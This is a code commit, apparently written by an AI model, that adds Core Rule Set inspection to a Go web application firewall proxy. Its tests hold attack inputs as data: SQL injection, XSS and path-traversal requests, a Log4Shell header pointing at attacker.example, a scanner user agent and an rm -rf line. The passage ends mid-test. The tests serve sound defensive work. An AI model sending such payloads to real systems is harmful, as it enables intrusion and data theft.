The Core Rule Set, run by Coraza, on each request's method, URL and headers (closes #25)

Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0)
after the rule files, with the six changes and the default
SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. The
parameter names in the third and fourth changes are matched in any case,
as Coraza does. SWWAF_WAF_DISABLED_RULES refuses 900000 to 900999,
smallwebwaf's own rules. A request with more than 1000 query parameters
adds 5 (rule 900300). In block mode a match is refused with 403, an
offence counted toward the error burst; in detect mode it is let
through. Both log waf_rule_ids, waf_score and duration_waf, raise
waf_block, and count smallwebwaf_waf_matches_total.

Judgement call: waf_block is raised in block mode too.
Deviation: no engine-error path; with no body read, Coraza cannot fail.

Model: opus-5-5

internal/alerts/alerts.go

@@ -44,7 +44,9 @@ const (
 	// EventAnomaly is a count of requests or bytes over an anomaly
 	// threshold.
 	EventAnomaly = "anomaly"
-	// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
+	// EventWAFBlock is a request the Core Rule Set scored at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
+	// detect mode.
 	EventWAFBlock = "waf_block"
 	// EventReputationHit is a request whose client a blocklist, the
 	// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score

internal/config/config.go

@@ -42,8 +42,8 @@ type Config struct {
 	InstanceName string
 	// Observe is true in observe mode, when SWWAF_MODE is observe rather
 	// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
-	// lists, a rate limit or a rule would refuse is passed to the app
-	// instead, and no ban is made.
+	// lists, a rate limit, a rule or the Core Rule Set would refuse is
+	// passed to the app instead, and no ban is made.
 	Observe bool
 	// TrustedProxies are the netblocks whose X-Forwarded-For is
 	// believed (SWWAF_TRUSTED_PROXIES).
@@ -239,12 +239,25 @@ type Config struct {
 	// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
 	RulesDir     string
 	RulesEnabled bool
+	// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
+	// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
+	// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
+	// WAFAnomalyThreshold the anomaly score at which a request is a match
+	// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
+	// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES), and
+	// WAFExemptPaths the path prefixes it does not inspect
+	// (SWWAF_WAF_EXEMPT_PATHS).
+	WAFMode             string
+	WAFParanoiaLevel    int
+	WAFAnomalyThreshold int
+	WAFDisabledRules    []int
+	WAFExemptPaths      []string
 	// TrapPaths are the paths a request for which is a clear sign of
 	// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
 	TrapPaths []string
 	// ErrorBurstThreshold is the most requests of a client within a minute
-	// that smallwebwaf may refuse after a rule file match or for a missing
-	// or wrong token; one more breaks a limit
+	// that smallwebwaf may refuse after a rule file or Core Rule Set match
+	// or for a missing or wrong token; one more breaks a limit
 	// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
 	ErrorBurstThreshold int64
 	// LogRemoteURL is where every line on stdout is also sent
@@ -310,6 +323,16 @@ type Config struct {
 // off.
 const off = "off"
 
+// The values of SWWAF_WAF_MODE.
+const (
+	// WAFModeOff runs no request through the Core Rule Set.
+	WAFModeOff = off
+	// WAFModeDetect logs and alerts a match, and refuses nothing.
+	WAFModeDetect = "detect"
+	// WAFModeBlock refuses a match with 403.
+	WAFModeBlock = "block"
+)
+
 // fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
 // lookup database, the file SWWAF_LOOKUP_DB_PATH names.
 const fileSource = "file"
@@ -327,6 +350,14 @@ const (
 	minIPv6GroupPrefix = 32
 	// minTokenLength is the fewest characters a token may have.
 	minTokenLength = 32
+	// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
+	maxParanoiaLevel = 4
+	// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
+	// keeps for the rules that set it up, which smallwebwaf's own rules
+	// have too (see internal/waf). Switching one off would undo a change
+	// that no setting undoes.
+	firstSetupRuleID = 900000
+	lastSetupRuleID  = 900999
 	// masked is what the log shows for a token that is set, and in place of
 	// a secret in another setting.
 	masked = "********"
@@ -388,6 +419,13 @@ var (
 		"is not a path prefix starting with /, such as /assets/")
 	errNotTrapPath = errors.New(
 		"is not a path starting with / and without a ?, such as /wp-login.php")
+	errNotWAFMode       = errors.New("is not off, detect or block")
+	errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
+	errNotRuleID        = errors.New(
+		"is not the id of a Core Rule Set rule, a whole number such as 942100")
+	errSetupRuleID = errors.New(
+		"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
+			"up and of smallwebwaf's own, which cannot be switched off")
 	errNotBoolean      = errors.New("is not true or false")
 	errNotLogRemoteURL = errors.New(
 		"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -509,12 +547,18 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
 		StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
 		LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
 			"accept,accept-language,accept-encoding,content-type,origin,range"),
-		LogLevel:             env.logLevel("SWWAF_LOG_LEVEL", "info"),
-		AdminToken:           env.token("SWWAF_ADMIN_TOKEN"),
-		MetricsToken:         env.token("SWWAF_METRICS_TOKEN"),
-		MetricsTopN:          env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
-		RulesDir:             env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
-		RulesEnabled:         env.boolean("SWWAF_RULES_ENABLED", "true"),
+		LogLevel:            env.logLevel("SWWAF_LOG_LEVEL", "info"),
+		AdminToken:          env.token("SWWAF_ADMIN_TOKEN"),
+		MetricsToken:        env.token("SWWAF_METRICS_TOKEN"),
+		MetricsTopN:         env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
+		RulesDir:            env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
+		RulesEnabled:        env.boolean("SWWAF_RULES_ENABLED", "true"),
+		WAFMode:             env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
+		WAFParanoiaLevel:    env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
+		WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
+		WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
+			"920340,920420,920440,920640,930130,930140"),
+		WAFExemptPaths:       env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
 		TrapPaths:            env.trapPaths("SWWAF_TRAP_PATHS"),
 		ErrorBurstThreshold:  env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
 		LogRemoteURL:         env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
@@ -765,6 +809,39 @@ func (e *environment) trapPaths(name string) []string {
 	return paths
 }
 
+// wafMode reads the setting that is what the Core Rule Set does: off,
+// detect or block.
+func (e *environment) wafMode(name, defaultValue string) string {
+	mode := e.value(name, defaultValue)
+	if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
+		e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
+	}
+
+	return mode
+}
+
+// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
+// level, from 1 to 4.
+func (e *environment) paranoiaLevel(name, defaultValue string) int {
+	value := e.value(name, defaultValue)
+
+	level, err := strconv.Atoi(value)
+	if err != nil || level < 1 || level > maxParanoiaLevel {
+		e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
+	}
+
+	return level
+}
+
+// ruleIDs reads the setting that is a list of the ids of Core Rule Set
+// rules.
+func (e *environment) ruleIDs(name, defaultValue string) []int {
+	ids, err := parseRuleIDs(e.value(name, defaultValue))
+	e.check(name, err)
+
+	return ids
+}
+
 // countries reads a setting that is a list of countries.
 func (e *environment) countries(name, defaultValue string) []string {
 	countries, err := parseCountries(e.value(name, defaultValue))
@@ -1575,6 +1652,31 @@ func parseTrapPaths(value string) ([]string, error) {
 	return paths, nil
 }
 
+// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
+// rules, each a whole number above zero and outside firstSetupRuleID to
+// lastSetupRuleID.
+func parseRuleIDs(value string) ([]int, error) {
+	items, err := parseList(value)
+	if err != nil {
+		return nil, err
+	}
+
+	ids := make([]int, len(items))
+
+	for i, item := range items {
+		ids[i], err = strconv.Atoi(item)
+		if err != nil || ids[i] <= 0 {
+			return nil, fmt.Errorf("%q %w", item, errNotRuleID)
+		}
+
+		if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
+			return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
+		}
+	}
+
+	return ids, nil
+}
+
 // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
 // the code in common use for Kosovo. golang.org/x/text/language cannot
 // check them: it also takes withdrawn codes such as su, and reserved ones

internal/config/config_test.go

@@ -91,6 +91,11 @@ const (
 	logLevel                = "SWWAF_LOG_LEVEL"
 	rulesDir                = "SWWAF_RULES_DIR"
 	rulesEnabled            = "SWWAF_RULES_ENABLED"
+	wafMode                 = "SWWAF_WAF_MODE"
+	wafParanoiaLevel        = "SWWAF_WAF_PARANOIA_LEVEL"
+	wafAnomalyThreshold     = "SWWAF_WAF_ANOMALY_THRESHOLD"
+	wafDisabledRules        = "SWWAF_WAF_DISABLED_RULES"
+	wafExemptPaths          = "SWWAF_WAF_EXEMPT_PATHS"
 	trapPaths               = "SWWAF_TRAP_PATHS"
 	errorBurstThreshold     = "SWWAF_ERROR_BURST_THRESHOLD"
 	logRemoteURL            = "SWWAF_LOG_REMOTE_URL"
@@ -170,6 +175,9 @@ const (
 // defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
 const defaultReputationCacheTTL = "24h"
 
+// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
+const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
+
 // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
 const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
 	"content-type,origin,range"
@@ -553,6 +561,105 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
 	}
 }
 
+func TestCoreRuleSetSettings(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		env  environment
+		want config.Config
+	}{
+		{
+			environment{},
+			config.Config{
+				WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
+				WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
+				WAFExemptPaths:   []string{},
+			},
+		},
+		{
+			environment{
+				wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
+				wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
+			},
+			config.Config{
+				WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
+				WAFDisabledRules: []int{942100, 920350},
+				WAFExemptPaths:   []string{"/api/", "/static/"},
+			},
+		},
+		{
+			environment{wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: ""},
+			config.Config{
+				WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
+				WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
+			},
+		},
+	} {
+		cfg := fromEnvironment(t, tc.env)
+
+		got := config.Config{
+			WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
+			WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
+			WAFDisabledRules:    cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
+		}
+		if !reflect.DeepEqual(got, tc.want) {
+			t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
+		}
+	}
+}
+
+func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
+	t.Parallel()
+
+	const (
+		notParanoiaLevel = " is not a paranoia level, from 1 to 4"
+		setupRule        = " is from 900000 to 900999, the ids of the rules that set " +
+			"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
+	)
+
+	for _, tc := range []struct{ name, value, want string }{
+		{wafMode, "enforce", `"enforce" is not off, detect or block`},
+		{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
+		{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
+		{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
+		{
+			wafAnomalyThreshold, "0",
+			`"0" is not a whole number above zero, such as 60, or off`,
+		},
+		{
+			wafDisabledRules, "920340,REQUEST-920",
+			`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
+				`a whole number such as 942100`,
+		},
+		{
+			wafDisabledRules, "-942100",
+			`"-942100" is not the id of a Core Rule Set rule, ` +
+				`a whole number such as 942100`,
+		},
+		// The paranoia level, the allowed methods, the headers refused, and
+		// a request with more query parameters than Coraza keeps.
+		{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
+		{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
+		{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
+		{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
+		{
+			wafExemptPaths, "api/",
+			`"api/" is not a path prefix starting with /, such as /assets/`,
+		},
+	} {
+		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
+			t.Parallel()
+
+			_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
+
+			want := tc.name + ": " + tc.want
+			if err == nil || err.Error() != want {
+				t.Errorf("error %v, want %s", err, want)
+			}
+		})
+	}
+}
+
 func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
 	t.Parallel()
 
@@ -2291,6 +2398,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
 		logLevel:                "info",
 		rulesDir:                "/etc/smallwebwaf/rules.d",
 		rulesEnabled:            "true",
+		wafMode:                 config.WAFModeBlock,
+		wafParanoiaLevel:        "1",
+		wafAnomalyThreshold:     "5",
+		wafDisabledRules:        defaultWAFDisabledRules,
+		wafExemptPaths:          "",
 		trapPaths:               "",
 		errorBurstThreshold:     "30",
 		logRemoteURL:            "",

internal/metrics/metrics.go

@@ -36,6 +36,7 @@ type Metrics struct {
 	rateLimitHits        *prometheus.CounterVec
 	sizeAndTimeLimitHits *prometheus.CounterVec
 	offences             *prometheus.CounterVec
+	wafMatches           *prometheus.CounterVec
 	// ruleMatches are made by AddRules, and reputationHits by
 	// AddReputation.
 	ruleMatches    *prometheus.CounterVec
@@ -63,6 +64,8 @@ type Metrics struct {
 // topN is how many countries and how many AS numbers get series of their
 // own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
 // (SWWAF_INSTANCE_NAME) as its label instance.
+//
+//nolint:funlen // a few lines for each metric, a list that grows with them
 func New(topN int, instanceName string) *Metrics {
 	byStatus := []string{"status_class", "action"}
 	byFile := []string{"file"}
@@ -101,6 +104,9 @@ func New(topN int, instanceName string) *Metrics {
 			[]string{"limit"}),
 		offences: counterVec("smallwebwaf_offences_total",
 			"Offences, by kind.", []string{"kind"}),
+		wafMatches: counterVec("smallwebwaf_waf_matches_total",
+			"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
+				"and the rule's id.", []string{"mode", "rule_id"}),
 		countries: newCountries(topN),
 		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -136,7 +142,8 @@ func New(topN int, instanceName string) *Metrics {
 		collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
 		m.inFlight, m.requests, m.requestBytes, m.responseBytes,
 		m.requestDuration, m.upstreamDuration,
-		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
+		m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
+		m.countries, m.asns,
 		m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
 		m.stateFileWrites, m.stateFileWriteFailures,
 		m.stateFileLastWrite, m.stateFileSize,
@@ -433,6 +440,7 @@ func (m *Metrics) Offences(r ratelimit.Request) {
 		"limit":         r.BrokeLimit,
 		"attack":        r.Attack,
 		"rule_blocked":  r.RuleBlocked,
+		"waf_blocked":   r.WAFBlocked,
 		"token_refused": r.TokenRefused,
 	} {
 		if committed {
@@ -447,6 +455,12 @@ func (m *Metrics) RuleMatched(id, action string) {
 	m.ruleMatches.WithLabelValues(id, action).Inc()
 }
 
+// WAFMatched counts a request that matched the Core Rule Set's rule id,
+// with SWWAF_WAF_MODE at mode.
+func (m *Metrics) WAFMatched(mode string, id int) {
+	m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
+}
+
 // StateFileWritten counts a write of the state file name, of size bytes,
 // that ended with err.
 func (m *Metrics) StateFileWritten(name string, size int, err error) {

internal/proxy/bans.go

@@ -84,12 +84,12 @@ func (rq *request) countBytes() {
 }
 
 // countRefusal counts the request for the error burst once it has been
-// answered, if smallwebwaf refused it after a rule file match or a trap
-// path, or for a missing or wrong token, and in observe mode if enforce
-// mode would have: more than SWWAF_ERROR_BURST_THRESHOLD such refusals of
-// the client within a minute break a limit. A client in SWWAF_ALLOW_NETS,
-// which the checks skip, is not counted, and nothing is while the
-// threshold is off.
+// answered, if smallwebwaf refused it after a rule file match, a trap path
+// or a Core Rule Set match, or for a missing or wrong token, and in
+// observe mode if enforce mode would have: more than
+// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
+// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
+// not counted, and nothing is while the threshold is off.
 func (rq *request) countRefusal() {
 	cfg := rq.h.config
 	if cfg.ErrorBurstThreshold == 0 {
@@ -100,7 +100,7 @@ func (rq *request) countRefusal() {
 	// before it reached the endpoint has had no token refused there.
 	tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
 		!isInside(rq.client, cfg.AllowNets)
-	if !rq.attack && !rq.ruleBlocked && !tokenRefused {
+	if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
 		return
 	}
 
@@ -116,7 +116,7 @@ func (rq *request) countRefusal() {
 	status := rq.out.status
 
 	switch rq.line.WouldAction {
-	case requestlog.ActionRuleBlocked:
+	case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
 		status = http.StatusForbidden
 	case requestlog.ActionBanned:
 		status = cfg.BanResponse

internal/proxy/bytelimits_test.go

@@ -282,8 +282,6 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 	t.Parallel()
 
-	const off = "off"
-
 	s, _ := startWithAnswers(t, map[string]string{
 		bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
 	})

internal/proxy/coreruleset.go

@@ -0,0 +1,82 @@
+package proxy
+
+import (
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// checkCoreRuleSet inspects the request with the Core Rule Set, unless
+// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
+// pathExempt decides, and notes the rules it matched and its score in the
+// log line, and the rules in the metrics. A score at or over
+// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
+// and in block mode refuses the request, which is an offence its client's
+// history counts, and so returns ActionWAFBlocked. It returns "" for a
+// request it does not refuse.
+func (rq *request) checkCoreRuleSet() string {
+	cfg := rq.h.config
+	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) {
+		return ""
+	}
+
+	start := time.Now()
+	result := rq.h.coreRuleSet.Inspect(rq.in, rq.client)
+	rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
+	rq.line.WAFRuleIDs = result.RuleIDs
+	rq.line.WAFScore = &result.Score
+
+	for _, id := range result.RuleIDs {
+		rq.h.metrics.WAFMatched(cfg.WAFMode, id)
+	}
+
+	threshold := cfg.WAFAnomalyThreshold
+	if threshold == 0 || result.Score < threshold {
+		return ""
+	}
+
+	rq.alertWAFBlock(result)
+
+	if cfg.WAFMode == config.WAFModeDetect {
+		return ""
+	}
+
+	rq.wafBlocked = true
+
+	return requestlog.ActionWAFBlocked
+}
+
+// alertWAFBlock raises the waf_block alert for the request, which the Core
+// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
+// detail gives the rule ids, the score, the method and the path with the
+// query, and, for a request that is not refused for it, the mode: detect,
+// or observe in observe mode.
+func (rq *request) alertWAFBlock(result waf.Result) {
+	detail := map[string]any{
+		"rule_ids": result.RuleIDs,
+		"score":    result.Score,
+		"method":   rq.in.Method,
+		"path":     rq.in.URL.RequestURI(),
+	}
+
+	switch {
+	case rq.h.config.WAFMode == config.WAFModeDetect:
+		detail["mode"] = config.WAFModeDetect
+	case rq.h.config.Observe:
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    alerts.EventWAFBlock,
+		Client:   rq.client,
+		Netblock: rq.h.clientGroup(rq.client),
+		ASN:      rq.line.ASN,
+		ASName:   rq.line.ASName,
+		Country:  rq.line.Country,
+		Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+		Detail:   detail,
+	})
+}

internal/proxy/coreruleset_test.go

@@ -0,0 +1,392 @@
+package proxy_test
+
+import (
+	"net/http"
+	"net/netip"
+	"slices"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
+// its two modes that inspect requests.
+const (
+	wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
+	wafDisabledRules    = "SWWAF_WAF_DISABLED_RULES"
+	wafExemptPaths      = "SWWAF_WAF_EXEMPT_PATHS"
+	block               = "block"
+	detect              = "detect"
+)
+
+// sqlInjection asks for / with an SQL injection in its query, which only
+// the Core Rule Set's rule 942100 matches, with a score of 5, the default
+// SWWAF_WAF_ANOMALY_THRESHOLD.
+const sqlInjection = "/?id=1'%20OR%20'1'='1"
+
+// wantWAF checks the request log line's waf_rule_ids and waf_score, and
+// that it has duration_waf, or with no score, that it has none of the
+// three: the Core Rule Set did not inspect the request.
+func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
+	t.Helper()
+
+	if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
+		t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
+	}
+
+	switch {
+	case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
+		t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
+			line.fields["waf_score"], line.fields["duration_waf"])
+	case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
+		t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
+	case score != nil && line.DurationWAF == nil:
+		t.Error("log line has no duration_waf")
+	}
+}
+
+func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
+	t.Parallel()
+
+	for _, attack := range []struct {
+		name, path, header string
+		ruleIDs            []int
+		score              int
+	}{
+		{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
+		{
+			"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
+			[]int{941100, 941110, 941160, 941390}, 20,
+		},
+		{
+			"path traversal in the path", "/files/../../etc/passwd", "",
+			[]int{930100, 930110}, 10,
+		},
+		{
+			"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
+			[]int{944150}, 5,
+		},
+		{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
+		{
+			// Coraza keeps the first 1000 query parameters.
+			"SQL injection after 1000 query parameters",
+			"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
+			[]int{900300}, 5,
+		},
+	} {
+		t.Run(attack.name, func(t *testing.T) {
+			t.Parallel()
+
+			for _, tc := range []struct {
+				mode, action string
+				status       int
+			}{
+				{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
+				{detect, requestlog.ActionForward, http.StatusOK},
+			} {
+				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
+
+				line, _ := s.requestWithHeader(client, attack.path, attack.header,
+					tc.status, tc.action)
+				wantWAF(t, line, &attack.score, attack.ruleIDs...)
+			}
+		})
+	}
+}
+
+func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+
+	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+}
+
+func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode:        block,
+		wafExemptPaths: "/api/",
+		allowNets:      allowed,
+		rulesDir:       writeRules(t, testRules),
+	})
+
+	// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
+	// exempts, are not inspected.
+	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
+		requestlog.ActionForward)
+	wantWAF(t, line, nil)
+
+	// The prefix is matched as rate limit exempt paths are: a path that
+	// goes up and out of it is inspected.
+	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(25), 930100, 930110, 942100)
+
+	// A request a rule file refuses is not inspected.
+	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionRuleBlocked)
+	wantWAF(t, line, nil)
+
+	// With SWWAF_WAF_MODE off, no request is.
+	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
+	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+}
+
+func TestAnomalyThreshold(t *testing.T) {
+	t.Parallel()
+
+	// A score under the threshold, or with the threshold off, is logged,
+	// and refuses nothing.
+	for _, threshold := range []string{"6", off} {
+		s, _, _ := startWithClock(t, "", map[string]string{
+			wafMode: block, wafAnomalyThreshold: threshold,
+		})
+
+		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+		wantWAF(t, line, new(5), 942100)
+	}
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode: block, wafAnomalyThreshold: "5",
+	})
+	s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+}
+
+func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, request := range []struct {
+		name, method, path, header string
+		// ruleIDs are the rules that match the request with none
+		// switched off.
+		ruleIDs []int
+	}{
+		{
+			"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
+			"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
+			[]int{920420, 930130},
+		},
+		{
+			"package upload without a type", http.MethodPut,
+			"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
+			[]int{920340},
+		},
+		{
+			"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
+			[]int{920440},
+		},
+		{
+			"an editor's settings", http.MethodGet,
+			"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
+		},
+	} {
+		t.Run(request.name, func(t *testing.T) {
+			t.Parallel()
+
+			body := ""
+			if request.method != http.MethodGet {
+				body = "push"
+			}
+
+			// By default, the rules are switched off.
+			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+			line, _ := s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+
+			// A list given replaces the default.
+			s, _, _ = startWithClock(t, "", map[string]string{
+				wafMode: block, wafDisabledRules: "942100",
+			})
+			score := 5 * len(request.ruleIDs)
+			line, _ = s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
+			wantWAF(t, line, &score, request.ruleIDs...)
+
+			// And switches off the rules it lists.
+			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+		})
+	}
+}
+
+func TestResponsesAreNotInspected(t *testing.T) {
+	t.Parallel()
+
+	// A raw shell script, and an SQL error, which the Core Rule Set's rules
+	// for responses take for a leak.
+	const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
+		"You have an error in your SQL syntax; check the manual that " +
+		"corresponds to your MySQL server version\n"
+
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		_, _ = w.Write([]byte(page))
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
+
